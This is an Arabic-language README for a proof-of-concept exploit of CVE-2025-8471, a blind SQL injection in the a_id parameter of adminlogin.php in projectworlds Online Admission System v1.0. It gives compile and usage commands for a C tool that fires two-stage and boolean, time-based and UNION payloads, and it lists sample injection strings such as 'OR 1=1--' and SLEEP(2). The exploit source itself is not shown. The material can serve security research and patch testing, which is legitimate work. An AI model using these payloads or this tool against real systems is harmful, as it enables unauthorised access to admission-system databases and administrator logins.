
استغلال SQL injection في projectworlds Online Admissions System v1.0
المؤلف: Byte Reaper
CVE: CVE-2025-8471
الثغرة: حقن SQL في “projectworlds Online Admission System v1.0”
الوصف:
يوجد حقن SQL أعمى في adminlogin.php?a_id=. يقوم هذا البرهان (PoC) بإرسال سلسلة من طلبات GET مع حمولات متنوعة - سواء كانت ذات مرحلتين (INSERT … UNION SELECT …, SLEEP(), SELECT code …) أو سلاسل "حقن عميق" - لاكتشاف وتعداد المشكلة من خلال فروق طول الاستجابة.
تأكد من تثبيت libcurl و argparse (مثال على دبيان/أوبونتو: sudo apt-get install libcurl4-openssl-dev).
التجميع:
gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u <TARGET_BASE_URL> [-c cookies.txt] [-v]
-u, --url — Base URL of the target, e.g. http://vulnsite.com
-c, --cookies — (Optional) path to a cookies file to maintain session
-v, --verbose — Enable verbose libcurl output and full response dumps
./exploit -u http:// -v
سيقوم هذا بـ:
إرسال طلب عادي إلى /adminlogin.php وتسجيل طوله.
التكرار على قوائم الحمولات ذات المرحلتين والعميقة، وحقن كل واحدة في ?a_id=….
مقارنة طول استجابة كل حقنة مقابل خط الأساس.
تسجيل كل حمولة، وحالة HTTP (إذا كانت ≥2xx)، والطول الملاحظ في result.log.
الحمولات المختبرة: مرحلتين
INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');
SELECT SLEEP(2);
SELECT code FROM stages WHERE id = 3;
الحقن العميق
'//OR//1=1--, '//OR//'a'='a'--, …
تشمل حقنًا منطقيًا، زمانيًا، اتحادًا، سلسلة فرعية، ترتيبًا، مشابهًا، وجوديًا، وحقن بأسلوب التعليقات.
جميع الحمولات مرمزة بعنوان URL عبر curl_easy_escape قبل الإرسال.
MIT License